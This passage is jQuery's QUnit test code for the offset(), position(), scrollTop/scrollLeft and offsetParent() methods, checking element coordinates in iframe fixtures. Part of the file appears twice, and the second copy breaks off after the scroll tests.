"left": 26 } ]; jQuery.each( tests, function() { equal( $( this["id"] ).position().top, this["top"], "jQuery('" + this["id"] + "').position().top" ); equal( $( this["id"] ).position().left, this["left"], "jQuery('" + this["id"] + "').position().left" ); }); // set offset tests = [ { "id": "#relative-2", "top": 200, "left": 50 }, { "id": "#relative-2", "top": 100, "left": 10 }, { "id": "#relative-2", "top": -5, "left": -5 }, { "id": "#relative-2", "top": 142, "left": 27 }, { "id": "#relative-1-1", "top": 100, "left": 100 }, { "id": "#relative-1-1", "top": 5, "left": 5 }, { "id": "#relative-1-1", "top": -1, "left": -1 }, { "id": "#relative-1-1", "top": 15, "left": 15 }, { "id": "#relative-1", "top": 100, "left": 100 }, { "id": "#relative-1", "top": 0, "left": 0 }, { "id": "#relative-1", "top": -1, "left": -1 }, { "id": "#relative-1", "top": 7, "left": 7 } ]; jQuery.each( tests, function() { $( this["id"] ).offset({ "top": this["top"], "left": this["left"] }); equal( $( this["id"] ).offset().top, this["top"], "jQuery('" + this["id"] + "').offset({ top: " + this["top"] + " })" ); equal( $( this["id"] ).offset().left, this["left"], "jQuery('" + this["id"] + "').offset({ left: " + this["left"] + " })" ); $( this["id"] ).offset({ "top": this["top"], "left": this["left"], "using": function( props ) { $( this ).css({ "top": props.top + 1, "left": props.left + 1 }); }}); equal( $( this["id"] ).offset().top, this["top"] + 1, "jQuery('" + this["id"] + "').offset({ top: " + (this["top"] + 1) + ", using: fn })" ); equal( $( this["id"] ).offset().left, this["left"] + 1, "jQuery('" + this["id"] + "').offset({ left: " + (this["left"] + 1) + ", using: fn })" ); }); }); testIframe("offset/static", "static", function( $ ) { expect( 80 ); var ie, tests; // IE is collapsing the top margin of 1px; detect and adjust accordingly ie = $("#static-1").offset().top === 6; // get offset tests = [ { "id": "#static-1", "top": ie ? 6 : 7, "left": 7 }, { "id": "#static-1-1", "top": ie ? 13 : 15, "left": 15 }, { "id": "#static-1-1-1", "top": ie ? 20 : 23, "left": 23 }, { "id": "#static-2", "top": ie ? 121 : 122, left: 7 } ]; jQuery.each( tests, function() { equal( $( this["id"] ).offset().top, this["top"], "jQuery('" + this["id"] + "').offset().top" ); equal( $( this["id"] ).offset().left, this["left"], "jQuery('" + this["id"] + "').offset().left" ); }); // get position tests = [ { "id": "#static-1", "top": ie ? 5 : 6, "left": 6 }, { "id": "#static-1-1", "top": ie ? 12 : 14, "left": 14 }, { "id": "#static-1-1-1", "top": ie ? 19 : 22, "left": 22 }, { "id": "#static-2", "top": ie ? 120 : 121, "left": 6 } ]; jQuery.each( tests, function() { equal( $( this["id"] ).position().top, this["top"], "jQuery('" + this["top"] + "').position().top" ); equal( $( this["id"] ).position().left, this["left"], "jQuery('" + this["left"] +"').position().left" ); }); // set offset tests = [ { "id": "#static-2", "top": 200, "left": 200 }, { "id": "#static-2", "top": 100, "left": 100 }, { "id": "#static-2", "top": -2, "left": -2 }, { "id": "#static-2", "top": 121, "left": 6 }, { "id": "#static-1-1-1", "top": 50, "left": 50 }, { "id": "#static-1-1-1", "top": 10, "left": 10 }, { "id": "#static-1-1-1", "top": -1, "left": -1 }, { "id": "#static-1-1-1", "top": 22, "left": 22 }, { "id": "#static-1-1", "top": 25, "left": 25 }, { "id": "#static-1-1", "top": 10, "left": 10 }, { "id": "#static-1-1", "top": -3, "left": -3 }, { "id": "#static-1-1", "top": 14, "left": 14 }, { "id": "#static-1", "top": 30, "left": 30 }, { "id": "#static-1", "top": 2, "left": 2 }, { "id": "#static-1", "top": -2, "left": -2 }, { "id": "#static-1", "top": 7, "left": 7 } ]; jQuery.each( tests, function() { $( this["id"] ).offset({ "top": this["top"], "left": this["left"] }); equal( $( this["id"] ).offset().top, this["top"], "jQuery('" + this["id"] + "').offset({ top: " + this["top"] + " })" ); equal( $( this["id"] ).offset().left, this["left"], "jQuery('" + this["id"] + "').offset({ left: " + this["left"] + " })" ); $( this["id"] ).offset({ "top": this["top"], "left": this["left"], "using": function( props ) { $( this ).css({ "top": props.top + 1, "left": props.left + 1 }); }}); equal( $( this["id"] ).offset().top, this["top"] + 1, "jQuery('" + this["id"] + "').offset({ top: " + (this["top"] + 1) + ", using: fn })" ); equal( $( this["id"] ).offset().left, this["left"] + 1, "jQuery('" + this["id"] + "').offset({ left: " + (this["left"] + 1) + ", using: fn })" ); }); }); testIframe("offset/fixed", "fixed", function( $ ) { expect(34); var ie, tests, $noTopLeft; // IE is collapsing the top margin of 1px; detect and adjust accordingly ie = $("#fixed-1").position().top === 2; tests = [ { "id": "#fixed-1", "offsetTop": 1001, "offsetLeft": 1001, "positionTop": ie ? 2 : 0, "positionLeft": ie ? 2 : 0 }, { "id": "#fixed-2", "offsetTop": 1021, "offsetLeft": 1021, "positionTop": ie ? 22 : 20, "positionLeft": ie ? 22 : 20 } ]; jQuery.each( tests, function() { if ( !window.supportsScroll ) { ok( true, "Browser doesn't support scroll position." ); ok( true, "Browser doesn't support scroll position." ); ok( true, "Browser doesn't support scroll position." ); ok( true, "Browser doesn't support scroll position." ); } else if ( window.supportsFixedPosition ) { equal( $( this["id"] ).offset().top, this["offsetTop"], "jQuery('" + this["id"] + "').offset().top" ); equal( $( this["id"] ).position().top, this["positionTop"], "jQuery('" + this["id"] + "').position().top" ); equal( $( this["id"] ).offset().left, this["offsetLeft"], "jQuery('" + this["id"] + "').offset().left" ); equal( $( this["id"] ).position().left, this["positionLeft"], "jQuery('" + this["id"] + "').position().left" ); } else { // need to have same number of assertions ok( true, "Fixed position is not supported" ); ok( true, "Fixed position is not supported" ); ok( true, "Fixed position is not supported" ); ok( true, "Fixed position is not supported" ); } }); tests = [ { "id": "#fixed-1", "top": 100, "left": 100 }, { "id": "#fixed-1", "top": 0, "left": 0 }, { "id": "#fixed-1", "top": -4, "left": -4 }, { "id": "#fixed-2", "top": 200, "left": 200 }, { "id": "#fixed-2", "top": 0, "left": 0 }, { "id": "#fixed-2", "top": -5, "left": -5 } ]; jQuery.each( tests, function() { if ( window.supportsFixedPosition ) { $( this["id"] ).offset({ "top": this["top"], "left": this["left"] }); equal( $( this["id"] ).offset().top, this["top"], "jQuery('" + this["id"] + "').offset({ top: " + this["top"] + " })" ); equal( $( this["id"] ).offset().left, this["left"], "jQuery('" + this["id"] + "').offset({ left: " + this["left"] + " })" ); $( this["id"] ).offset({ "top": this["top"], "left": this["left"], "using": function( props ) { $( this ).css({ "top": props.top + 1, "left": props.left + 1 }); }}); equal( $( this["id"] ).offset().top, this["top"] + 1, "jQuery('" + this["id"] + "').offset({ top: " + (this["top"] + 1) + ", using: fn })" ); equal( $( this["id"] ).offset().left, this["left"] + 1, "jQuery('" + this["id"] + "').offset({ left: " + (this["left"] + 1) + ", using: fn })" ); } else { // need to have same number of assertions ok( true, "Fixed position is not supported" ); ok( true, "Fixed position is not supported" ); ok( true, "Fixed position is not supported" ); ok( true, "Fixed position is not supported" ); } }); // Bug 8316 $noTopLeft = $("#fixed-no-top-left"); if ( window.supportsFixedPosition ) { equal( $noTopLeft.offset().top, 1007, "Check offset top for fixed element with no top set" ); equal( $noTopLeft.offset().left, 1007, "Check offset left for fixed element with no left set" ); } else { // need to have same number of assertions ok( true, "Fixed position is not supported" ); ok( true, "Fixed position is not supported" ); } }); testIframe("offset/table", "table", function( $ ) { expect(4); equal( $("#table-1").offset().top, 6, "jQuery('#table-1').offset().top" ); equal( $("#table-1").offset().left, 6, "jQuery('#table-1').offset().left" ); equal( $("#th-1").offset().top, 10, "jQuery('#th-1').offset().top" ); equal( $("#th-1").offset().left, 10, "jQuery('#th-1').offset().left" ); }); testIframe("offset/scroll", "scroll", function( $, win ) { expect(24); // If we're going to bastardize the tests, let's just DO it var ie = /msie [678]/i.test( navigator.userAgent ); if ( ie ) { ok( true, "TestSwarm's iframe has hosed this test in oldIE, we surrender" ); } else { equal( $("#scroll-1").offset().top, 7, "jQuery('#scroll-1').offset().top" ); } equal( $("#scroll-1").offset().left, 7, "jQuery('#scroll-1').offset().left" ); if ( ie ) { ok( true, "TestSwarm's iframe has hosed this test in oldIE, we surrender" ); } else { equal( $("#scroll-1-1").offset().top, 11, "jQuery('#scroll-1-1').offset().top" ); } equal( $("#scroll-1-1").offset().left, 11, "jQuery('#scroll-1-1').offset().left" ); // scroll offset tests .scrollTop/Left equal( $("#scroll-1").scrollTop(), 5, "jQuery('#scroll-1').scrollTop()" ); equal( $("#scroll-1").scrollLeft(), 5, "jQuery('#scroll-1').scrollLeft()" ); equal( $("#scroll-1-1").scrollTop(), 0, "jQuery('#scroll-1-1').scrollTop()" ); equal( $("#scroll-1-1").scrollLeft(), 0, "jQuery('#scroll-1-1').scrollLeft()" ); // scroll method chaining equal( $("#scroll-1").scrollTop(undefined).scrollTop(), 5, ".scrollTop(undefined) is chainable (#5571)" ); equal( $("#scroll-1").scrollLeft(undefined).scrollLeft(), 5, ".scrollLeft(undefined) is chainable (#5571)" ); win.name = "test"; if ( !window.supportsScroll ) { ok( true, "Browser doesn't support scroll position." ); ok( true, "Browser doesn't support scroll position." ); ok( true, "Browser doesn't support scroll position." ); ok( true, "Browser doesn't support scroll position." ); } else { equal( $(win).scrollTop(), 1000, "jQuery(window).scrollTop()" ); equal( $(win).scrollLeft(), 1000, "jQuery(window).scrollLeft()" ); equal( $(win.document).scrollTop(), 1000, "jQuery(document).scrollTop()" ); equal( $(win.document).scrollLeft(), 1000, "jQuery(document).scrollLeft()" ); } // test jQuery using parent window/document // jQuery reference here is in the iframe window.scrollTo(0,0); equal( $(window).scrollTop(), 0, "jQuery(window).scrollTop() other window" ); equal( $(window).scrollLeft(), 0, "jQuery(window).scrollLeft() other window" ); equal( $(document).scrollTop(), 0, "jQuery(window).scrollTop() other document" ); equal( $(document).scrollLeft(), 0, "jQuery(window).scrollLeft() other document" ); // Tests scrollTop/Left with empty jquery objects notEqual( $().scrollTop(100), null, "jQuery().scrollTop(100) testing setter on empty jquery object" ); notEqual( $().scrollLeft(100), null, "jQuery().scrollLeft(100) testing setter on empty jquery object" ); notEqual( $().scrollTop(null), null, "jQuery().scrollTop(null) testing setter on empty jquery object" ); notEqual( $().scrollLeft(null), null, "jQuery().scrollLeft(null) testing setter on empty jquery object" ); strictEqual( $().scrollTop(), null, "jQuery().scrollTop(100) testing setter on empty jquery object" ); strictEqual( $().scrollLeft(), null, "jQuery().scrollLeft(100) testing setter on empty jquery object" ); }); testIframe("offset/body", "body", function( $ ) { expect(4); equal( $("body").offset().top, 1, "jQuery('#body').offset().top" ); equal( $("body").offset().left, 1, "jQuery('#body').offset().left" ); equal( $("#firstElement").position().left, 5, "$('#firstElement').position().left" ); equal( $("#firstElement").position().top, 5, "$('#firstElement').position().top" ); }); test("chaining", function() { expect(3); var coords = { "top": 1, "left": 1 }; equal( jQuery("#absolute-1").offset(coords).selector, "#absolute-1", "offset(coords) returns jQuery object" ); equal( jQuery("#non-existent").offset(coords).selector, "#non-existent", "offset(coords) with empty jQuery set returns jQuery object" ); equal( jQuery("#absolute-1").offset(undefined).selector, "#absolute-1", "offset(undefined) returns jQuery object (#5571)" ); }); test("offsetParent", function(){ expect(13); var body, header, div, area; body = jQuery("body").offsetParent(); equal( body.length, 1, "Only one offsetParent found." ); equal( body[0], document.documentElement, "The html element is the offsetParent of the body." ); header = jQuery("#qunit").offsetParent(); equal( header.length, 1, "Only one offsetParent found." ); equal( header[0], document.documentElement, "The html element is the offsetParent of #qunit." ); div = jQuery("#nothiddendivchild").offsetParent(); equal( div.length, 1, "Only one offsetParent found." ); equal( div[0], document.getElementById("qunit-fixture"), "The #qunit-fixture is the offsetParent of #nothiddendivchild." ); jQuery("#nothiddendiv").css("position", "relative"); div = jQuery("#nothiddendivchild").offsetParent(); equal( div.length, 1, "Only one offsetParent found." ); equal( div[0], jQuery("#nothiddendiv")[0], "The div is the offsetParent." ); div = jQuery("body, #nothiddendivchild").offsetParent(); equal( div.length, 2, "Two offsetParent found." ); equal( div[0], document.documentElement, "The html element is the offsetParent of the body." ); equal( div[1], jQuery("#nothiddendiv")[0], "The div is the offsetParent." ); area = jQuery("#imgmap area").offsetParent(); equal( area[0], document.documentElement, "The html element is the offsetParent of the body." ); div = jQuery("<div>").css({ "position": "absolute" }).appendTo("body"); equal( div.offsetParent()[0], document.documentElement, "Absolutely positioned div returns html as offset parent, see #12139" ); div.remove(); }); test("fractions (see #7730 and #7885)", function() { expect(2); jQuery("body").append("<div id='fractions'/>"); var result, expected = { "top": 1000, "left": 1000 }, div = jQuery("#fractions"); div.css({ "position": "absolute", "left": "1000.7432222px", "top": "1000.532325px", "width": 100, "height": 100 }); div.offset(expected); result = div.offset(); equal( result.top, expected.top, "Check top" ); equal( result.left, expected.left, "Check left" ); div.remove(); }); })();
{ "pile_set_name": "Github" }
(function() { if ( !jQuery.fn.offset ) { return; } var supportsScroll, supportsFixedPosition, forceScroll = jQuery("<div/>").css({ width: 2000, height: 2000 }), checkSupport = function() { // Only run once checkSupport = false; var checkFixed = jQuery("<div/>").css({ position: "fixed", top: "20px" }).appendTo("#qunit-fixture"); // Must append to body because #qunit-fixture is hidden and elements inside it don't have a scrollTop forceScroll.appendTo("body"); window.scrollTo( 200, 200 ); supportsScroll = document.documentElement.scrollTop || document.body.scrollTop; forceScroll.detach(); // Safari subtracts parent border width here (which is 5px) supportsFixedPosition = checkFixed[0].offsetTop === 20 || checkFixed[0].offsetTop === 15; checkFixed.remove(); }; module("offset", { setup: function(){ if ( typeof checkSupport === "function" ) { checkSupport(); } // Force a scroll value on the main window to ensure incorrect results // if offset is using the scroll offset of the parent window forceScroll.appendTo("body"); window.scrollTo( 1, 1 ); forceScroll.detach(); }, teardown: moduleTeardown }); /* Closure-compiler will roll static methods off of the jQuery object and so they will not be passed with the jQuery object across the windows. To differentiate this, the testIframe callbacks use the "$" symbol to refer to the jQuery object passed from the iframe window and the "jQuery" symbol is used to access any static methods. */ test("empty set", function() { expect(2); strictEqual( jQuery().offset(), undefined, "offset() returns undefined for empty set (#11962)" ); strictEqual( jQuery().position(), undefined, "position() returns undefined for empty set (#11962)" ); }); test("object without getBoundingClientRect", function() { expect(2); // Simulates a browser without gBCR on elements, we just want to return 0,0 var result = jQuery({ ownerDocument: document }).offset(); equal( result.top, 0, "Check top" ); equal( result.left, 0, "Check left" ); }); test("disconnected node", function() { expect(2); var result = jQuery( document.createElement("div") ).offset(); equal( result.top, 0, "Check top" ); equal( result.left, 0, "Check left" ); }); testIframe("offset/absolute", "absolute", function($, iframe) { expect(4); var doc = iframe.document, tests; // get offset tests = [ { "id": "#absolute-1", "top": 1, "left": 1 } ]; jQuery.each( tests, function() { equal( jQuery( this["id"], doc ).offset().top, this["top"], "jQuery('" + this["id"] + "').offset().top" ); equal( jQuery( this["id"], doc ).offset().left, this["left"], "jQuery('" + this["id"] + "').offset().left" ); }); // get position tests = [ { "id": "#absolute-1", "top": 0, "left": 0 } ]; jQuery.each( tests, function() { equal( jQuery( this["id"], doc ).position().top, this["top"], "jQuery('" + this["id"] + "').position().top" ); equal( jQuery( this["id"], doc ).position().left, this["left"], "jQuery('" + this["id"] + "').position().left" ); }); }); testIframe("offset/absolute", "absolute", function( $ ) { expect(178); var tests, offset; // get offset tests tests = [ { "id": "#absolute-1", "top": 1, "left": 1 }, { "id": "#absolute-1-1", "top": 5, "left": 5 }, { "id": "#absolute-1-1-1", "top": 9, "left": 9 }, { "id": "#absolute-2", "top": 20, "left": 20 } ]; jQuery.each( tests, function() { equal( $( this["id"] ).offset().top, this["top"], "jQuery('" + this["id"] + "').offset().top" ); equal( $( this["id"] ).offset().left, this["left"], "jQuery('" + this["id"] + "').offset().left" ); }); // get position tests = [ { "id": "#absolute-1", "top": 0, "left": 0 }, { "id": "#absolute-1-1", "top": 1, "left": 1 }, { "id": "#absolute-1-1-1", "top": 1, "left": 1 }, { "id": "#absolute-2", "top": 19, "left": 19 } ]; jQuery.each( tests, function() { equal( $( this["id"] ).position().top, this["top"], "jQuery('" + this["id"] + "').position().top" ); equal( $( this["id"] ).position().left, this["left"], "jQuery('" + this["id"] + "').position().left" ); }); // test #5781 offset = $( "#positionTest" ).offset({ "top": 10, "left": 10 }).offset(); equal( offset.top, 10, "Setting offset on element with position absolute but 'auto' values." ); equal( offset.left, 10, "Setting offset on element with position absolute but 'auto' values." ); // set offset tests = [ { "id": "#absolute-2", "top": 30, "left": 30 }, { "id": "#absolute-2", "top": 10, "left": 10 }, { "id": "#absolute-2", "top": -1, "left": -1 }, { "id": "#absolute-2", "top": 19, "left": 19 }, { "id": "#absolute-1-1-1", "top": 15, "left": 15 }, { "id": "#absolute-1-1-1", "top": 5, "left": 5 }, { "id": "#absolute-1-1-1", "top": -1, "left": -1 }, { "id": "#absolute-1-1-1", "top": 9, "left": 9 }, { "id": "#absolute-1-1", "top": 10, "left": 10 }, { "id": "#absolute-1-1", "top": 0, "left": 0 }, { "id": "#absolute-1-1", "top": -1, "left": -1 }, { "id": "#absolute-1-1", "top": 5, "left": 5 }, { "id": "#absolute-1", "top": 2, "left": 2 }, { "id": "#absolute-1", "top": 0, "left": 0 }, { "id": "#absolute-1", "top": -1, "left": -1 }, { "id": "#absolute-1", "top": 1, "left": 1 } ]; jQuery.each( tests, function() { $( this["id"] ).offset({ "top": this["top"], "left": this["left"] }); equal( $( this["id"] ).offset().top, this["top"], "jQuery('" + this["id"] + "').offset({ top: " + this["top"] + " })" ); equal( $( this["id"] ).offset().left, this["left"], "jQuery('" + this["id"] + "').offset({ left: " + this["left"] + " })" ); var top = this["top"], left = this["left"]; $( this["id"] ).offset(function(i, val){ equal( val.top, top, "Verify incoming top position." ); equal( val.left, left, "Verify incoming top position." ); return { "top": top + 1, "left": left + 1 }; }); equal( $( this["id"] ).offset().top, this["top"] + 1, "jQuery('" + this["id"] + "').offset({ top: " + (this["top"] + 1) + " })" ); equal( $( this["id"] ).offset().left, this["left"] + 1, "jQuery('" + this["id"] + "').offset({ left: " + (this["left"] + 1) + " })" ); $( this["id"] ) .offset({ "left": this["left"] + 2 }) .offset({ "top": this["top"] + 2 }); equal( $( this["id"] ).offset().top, this["top"] + 2, "Setting one property at a time." ); equal( $( this["id"] ).offset().left, this["left"] + 2, "Setting one property at a time." ); $( this["id"] ).offset({ "top": this["top"], "left": this["left"], "using": function( props ) { $( this ).css({ "top": props.top + 1, "left": props.left + 1 }); }}); equal( $( this["id"] ).offset().top, this["top"] + 1, "jQuery('" + this["id"] + "').offset({ top: " + (this["top"] + 1) + ", using: fn })" ); equal( $( this["id"] ).offset().left, this["left"] + 1, "jQuery('" + this["id"] + "').offset({ left: " + (this["left"] + 1) + ", using: fn })" ); }); }); testIframe("offset/relative", "relative", function( $ ) { expect(60); var ie, tests; // IE is collapsing the top margin of 1px; detect and adjust accordingly ie = $("#relative-1").offset().top === 6; // get offset tests = [ { "id": "#relative-1", "top": ie ? 6 : 7, "left": 7 }, { "id": "#relative-1-1", "top": ie ? 13 : 15, "left": 15 }, { "id": "#relative-2", "top": ie ? 141 : 142, "left": 27 } ]; jQuery.each( tests, function() { equal( $( this["id"] ).offset().top, this["top"], "jQuery('" + this["id"] + "').offset().top" ); equal( $( this["id"] ).offset().left, this["left"], "jQuery('" + this["id"] + "').offset().left" ); }); // get position tests = [ { "id": "#relative-1", "top": ie ? 5 : 6, "left": 6 }, { "id": "#relative-1-1", "top": ie ? 4 : 5, "left": 5 }, { "id": "#relative-2", "top": ie ? 140 : 141, "left": 26 } ]; jQuery.each( tests, function() { equal( $( this["id"] ).position().top, this["top"], "jQuery('" + this["id"] + "').position().top" ); equal( $( this["id"] ).position().left, this["left"], "jQuery('" + this["id"] + "').position().left" ); }); // set offset tests = [ { "id": "#relative-2", "top": 200, "left": 50 }, { "id": "#relative-2", "top": 100, "left": 10 }, { "id": "#relative-2", "top": -5, "left": -5 }, { "id": "#relative-2", "top": 142, "left": 27 }, { "id": "#relative-1-1", "top": 100, "left": 100 }, { "id": "#relative-1-1", "top": 5, "left": 5 }, { "id": "#relative-1-1", "top": -1, "left": -1 }, { "id": "#relative-1-1", "top": 15, "left": 15 }, { "id": "#relative-1", "top": 100, "left": 100 }, { "id": "#relative-1", "top": 0, "left": 0 }, { "id": "#relative-1", "top": -1, "left": -1 }, { "id": "#relative-1", "top": 7, "left": 7 } ]; jQuery.each( tests, function() { $( this["id"] ).offset({ "top": this["top"], "left": this["left"] }); equal( $( this["id"] ).offset().top, this["top"], "jQuery('" + this["id"] + "').offset({ top: " + this["top"] + " })" ); equal( $( this["id"] ).offset().left, this["left"], "jQuery('" + this["id"] + "').offset({ left: " + this["left"] + " })" ); $( this["id"] ).offset({ "top": this["top"], "left": this["left"], "using": function( props ) { $( this ).css({ "top": props.top + 1, "left": props.left + 1 }); }}); equal( $( this["id"] ).offset().top, this["top"] + 1, "jQuery('" + this["id"] + "').offset({ top: " + (this["top"] + 1) + ", using: fn })" ); equal( $( this["id"] ).offset().left, this["left"] + 1, "jQuery('" + this["id"] + "').offset({ left: " + (this["left"] + 1) + ", using: fn })" ); }); }); testIframe("offset/static", "static", function( $ ) { expect( 80 ); var ie, tests; // IE is collapsing the top margin of 1px; detect and adjust accordingly ie = $("#static-1").offset().top === 6; // get offset tests = [ { "id": "#static-1", "top": ie ? 6 : 7, "left": 7 }, { "id": "#static-1-1", "top": ie ? 13 : 15, "left": 15 }, { "id": "#static-1-1-1", "top": ie ? 20 : 23, "left": 23 }, { "id": "#static-2", "top": ie ? 121 : 122, left: 7 } ]; jQuery.each( tests, function() { equal( $( this["id"] ).offset().top, this["top"], "jQuery('" + this["id"] + "').offset().top" ); equal( $( this["id"] ).offset().left, this["left"], "jQuery('" + this["id"] + "').offset().left" ); }); // get position tests = [ { "id": "#static-1", "top": ie ? 5 : 6, "left": 6 }, { "id": "#static-1-1", "top": ie ? 12 : 14, "left": 14 }, { "id": "#static-1-1-1", "top": ie ? 19 : 22, "left": 22 }, { "id": "#static-2", "top": ie ? 120 : 121, "left": 6 } ]; jQuery.each( tests, function() { equal( $( this["id"] ).position().top, this["top"], "jQuery('" + this["top"] + "').position().top" ); equal( $( this["id"] ).position().left, this["left"], "jQuery('" + this["left"] +"').position().left" ); }); // set offset tests = [ { "id": "#static-2", "top": 200, "left": 200 }, { "id": "#static-2", "top": 100, "left": 100 }, { "id": "#static-2", "top": -2, "left": -2 }, { "id": "#static-2", "top": 121, "left": 6 }, { "id": "#static-1-1-1", "top": 50, "left": 50 }, { "id": "#static-1-1-1", "top": 10, "left": 10 }, { "id": "#static-1-1-1", "top": -1, "left": -1 }, { "id": "#static-1-1-1", "top": 22, "left": 22 }, { "id": "#static-1-1", "top": 25, "left": 25 }, { "id": "#static-1-1", "top": 10, "left": 10 }, { "id": "#static-1-1", "top": -3, "left": -3 }, { "id": "#static-1-1", "top": 14, "left": 14 }, { "id": "#static-1", "top": 30, "left": 30 }, { "id": "#static-1", "top": 2, "left": 2 }, { "id": "#static-1", "top": -2, "left": -2 }, { "id": "#static-1", "top": 7, "left": 7 } ]; jQuery.each( tests, function() { $( this["id"] ).offset({ "top": this["top"], "left": this["left"] }); equal( $( this["id"] ).offset().top, this["top"], "jQuery('" + this["id"] + "').offset({ top: " + this["top"] + " })" ); equal( $( this["id"] ).offset().left, this["left"], "jQuery('" + this["id"] + "').offset({ left: " + this["left"] + " })" ); $( this["id"] ).offset({ "top": this["top"], "left": this["left"], "using": function( props ) { $( this ).css({ "top": props.top + 1, "left": props.left + 1 }); }}); equal( $( this["id"] ).offset().top, this["top"] + 1, "jQuery('" + this["id"] + "').offset({ top: " + (this["top"] + 1) + ", using: fn })" ); equal( $( this["id"] ).offset().left, this["left"] + 1, "jQuery('" + this["id"] + "').offset({ left: " + (this["left"] + 1) + ", using: fn })" ); }); }); testIframe("offset/fixed", "fixed", function( $ ) { expect(34); var ie, tests, $noTopLeft; // IE is collapsing the top margin of 1px; detect and adjust accordingly ie = $("#fixed-1").position().top === 2; tests = [ { "id": "#fixed-1", "offsetTop": 1001, "offsetLeft": 1001, "positionTop": ie ? 2 : 0, "positionLeft": ie ? 2 : 0 }, { "id": "#fixed-2", "offsetTop": 1021, "offsetLeft": 1021, "positionTop": ie ? 22 : 20, "positionLeft": ie ? 22 : 20 } ]; jQuery.each( tests, function() { if ( !window.supportsScroll ) { ok( true, "Browser doesn't support scroll position." ); ok( true, "Browser doesn't support scroll position." ); ok( true, "Browser doesn't support scroll position." ); ok( true, "Browser doesn't support scroll position." ); } else if ( window.supportsFixedPosition ) { equal( $( this["id"] ).offset().top, this["offsetTop"], "jQuery('" + this["id"] + "').offset().top" ); equal( $( this["id"] ).position().top, this["positionTop"], "jQuery('" + this["id"] + "').position().top" ); equal( $( this["id"] ).offset().left, this["offsetLeft"], "jQuery('" + this["id"] + "').offset().left" ); equal( $( this["id"] ).position().left, this["positionLeft"], "jQuery('" + this["id"] + "').position().left" ); } else { // need to have same number of assertions ok( true, "Fixed position is not supported" ); ok( true, "Fixed position is not supported" ); ok( true, "Fixed position is not supported" ); ok( true, "Fixed position is not supported" ); } }); tests = [ { "id": "#fixed-1", "top": 100, "left": 100 }, { "id": "#fixed-1", "top": 0, "left": 0 }, { "id": "#fixed-1", "top": -4, "left": -4 }, { "id": "#fixed-2", "top": 200, "left": 200 }, { "id": "#fixed-2", "top": 0, "left": 0 }, { "id": "#fixed-2", "top": -5, "left": -5 } ]; jQuery.each( tests, function() { if ( window.supportsFixedPosition ) { $( this["id"] ).offset({ "top": this["top"], "left": this["left"] }); equal( $( this["id"] ).offset().top, this["top"], "jQuery('" + this["id"] + "').offset({ top: " + this["top"] + " })" ); equal( $( this["id"] ).offset().left, this["left"], "jQuery('" + this["id"] + "').offset({ left: " + this["left"] + " })" ); $( this["id"] ).offset({ "top": this["top"], "left": this["left"], "using": function( props ) { $( this ).css({ "top": props.top + 1, "left": props.left + 1 }); }}); equal( $( this["id"] ).offset().top, this["top"] + 1, "jQuery('" + this["id"] + "').offset({ top: " + (this["top"] + 1) + ", using: fn })" ); equal( $( this["id"] ).offset().left, this["left"] + 1, "jQuery('" + this["id"] + "').offset({ left: " + (this["left"] + 1) + ", using: fn })" ); } else { // need to have same number of assertions ok( true, "Fixed position is not supported" ); ok( true, "Fixed position is not supported" ); ok( true, "Fixed position is not supported" ); ok( true, "Fixed position is not supported" ); } }); // Bug 8316 $noTopLeft = $("#fixed-no-top-left"); if ( window.supportsFixedPosition ) { equal( $noTopLeft.offset().top, 1007, "Check offset top for fixed element with no top set" ); equal( $noTopLeft.offset().left, 1007, "Check offset left for fixed element with no left set" ); } else { // need to have same number of assertions ok( true, "Fixed position is not supported" ); ok( true, "Fixed position is not supported" ); } }); testIframe("offset/table", "table", function( $ ) { expect(4); equal( $("#table-1").offset().top, 6, "jQuery('#table-1').offset().top" ); equal( $("#table-1").offset().left, 6, "jQuery('#table-1').offset().left" ); equal( $("#th-1").offset().top, 10, "jQuery('#th-1').offset().top" ); equal( $("#th-1").offset().left, 10, "jQuery('#th-1').offset().left" ); }); testIframe("offset/scroll", "scroll", function( $, win ) { expect(24); // If we're going to bastardize the tests, let's just DO it var ie = /msie [678]/i.test( navigator.userAgent ); if ( ie ) { ok( true, "TestSwarm's iframe has hosed this test in oldIE, we surrender" ); } else { equal( $("#scroll-1").offset().top, 7, "jQuery('#scroll-1').offset().top" ); } equal( $("#scroll-1").offset().left, 7, "jQuery('#scroll-1').offset().left" ); if ( ie ) { ok( true, "TestSwarm's iframe has hosed this test in oldIE, we surrender" ); } else { equal( $("#scroll-1-1").offset().top, 11, "jQuery('#scroll-1-1').offset().top" ); } equal( $("#scroll-1-1").offset().left, 11, "jQuery('#scroll-1-1').offset().left" ); // scroll offset tests .scrollTop/Left equal( $("#scroll-1").scrollTop(), 5, "jQuery('#scroll-1').scrollTop()" ); equal( $("#scroll-1").scrollLeft(), 5, "jQuery('#scroll-1').scrollLeft()" ); equal( $("#scroll-1-1").scrollTop(), 0, "jQuery('#scroll-1-1').scrollTop()" ); equal( $("#scroll-1-1").scrollLeft(), 0, "jQuery('#scroll-1-1').scrollLeft()" ); // scroll method chaining equal( $("#scroll-1").scrollTop(undefined).scrollTop(), 5, ".scrollTop(undefined) is chainable (#5571)" ); equal( $("#scroll-1").scrollLeft(undefined).scrollLeft(), 5, ".scrollLeft(undefined) is chainable (#5571)" ); win.name = "test"; if ( !window.supportsScroll ) { ok( true, "Browser doesn't support scroll position." ); ok( true, "Browser doesn't support scroll position." ); ok( true, "Browser doesn't support scroll position." ); ok( true, "Browser doesn't support scroll position." ); } else { equal( $(win).scrollTop(), 1000, "jQuery(window).scrollTop()" ); equal( $(win).scrollLeft(), 1000, "jQuery(window).scrollLeft()" ); equal( $(win.document).scrollTop(), 1000, "jQuery(document).scrollTop()" ); equal( $(win.document).scrollLeft(), 1000, "jQuery(document).scrollLeft()" ); } // test jQuery using parent window/document // jQuery reference here is in the iframe window.scrollTo(0,0); equal( $(window).scrollTop(), 0, "jQuery(window).scrollTop() other window" ); equal( $(window).scrollLeft(), 0, "jQuery(window).scrollLeft() other window" ); equal( $(document).scrollTop(), 0, "jQuery(window).scrollTop() other document" ); equal( $(document).scrollLeft(), 0, "jQuery(window).scrollLeft() other document" ); // Tests scrollTop/Left with empty jquery objects notEqual( $().scrollTop(100), null, "jQuery().scrollTop(100) testing setter on empty jquery object" ); notEqual( $().scrollLeft(100), null, "jQuery().scrollLeft(100) testing setter on empty jquery object" ); notEqual( $().scrollTop(null), null, "jQuery().scrollTop(null) testing setter on empty jquery object" ); notEqual( $().scrollLeft(null), null, "jQuery().scrollLeft(null) testing setter on empty jquery object" ); strictEqual( $().scrollTop(), null, "jQuery().scrollTop(100) testing setter on empty jquery object" ); strictEqual( $().scrollLeft(), null, "jQuery().scrollLeft(100) testing setter on empty jquery object" ); }); 